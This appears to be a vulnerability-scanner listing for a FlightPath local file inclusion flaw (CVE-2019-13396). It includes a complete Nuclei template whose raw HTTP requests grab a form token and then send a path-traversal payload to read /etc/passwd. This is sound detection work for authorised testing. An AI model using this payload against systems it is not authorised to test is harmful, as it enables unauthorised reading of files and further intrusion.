FlightPath - Local File Inclusion

mediumseverity

5.3CVSS score

62.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

FlightPath versions prior to 4.8.2 and 5.0-rc2 are vulnerable to local file inclusion.

Impact

This vulnerability can lead to unauthorized access, data leakage, and remote code execution.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET /login ; POST /flightpath/index.php?q=system-handle-form-submit
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-13396 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-13396

info:
  name: FlightPath - Local File Inclusion
  author: 0x_Akoko,daffainfo
  severity: medium
  description: FlightPath versions prior to 4.8.2 and 5.0-rc2 are vulnerable to local file inclusion.
  impact: |
    This vulnerability can lead to unauthorized access, data leakage, and remote code execution.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47121
    - http://getflightpath.com/node/2650
    - https://nvd.nist.gov/vuln/detail/CVE-2019-13396
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-13396
    cwe-id: CWE-22
    epss-score: 0.62572
    epss-percentile: 0.99198
    cpe: cpe:2.3:a:getflightpath:flightpath:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: getflightpath
    product: flightpath
  tags: cve,cve2019,flightpath,lfi,edb,getflightpath,vuln,vkev

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /flightpath/index.php?q=system-handle-form-submit HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        callback=system_login_form&form_token={{token}}&form_include=../../../../../../../../../etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: token
        group: 1
        regex:
          - "idden' name='form_token' value='([a-z0-9]+)'>"
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from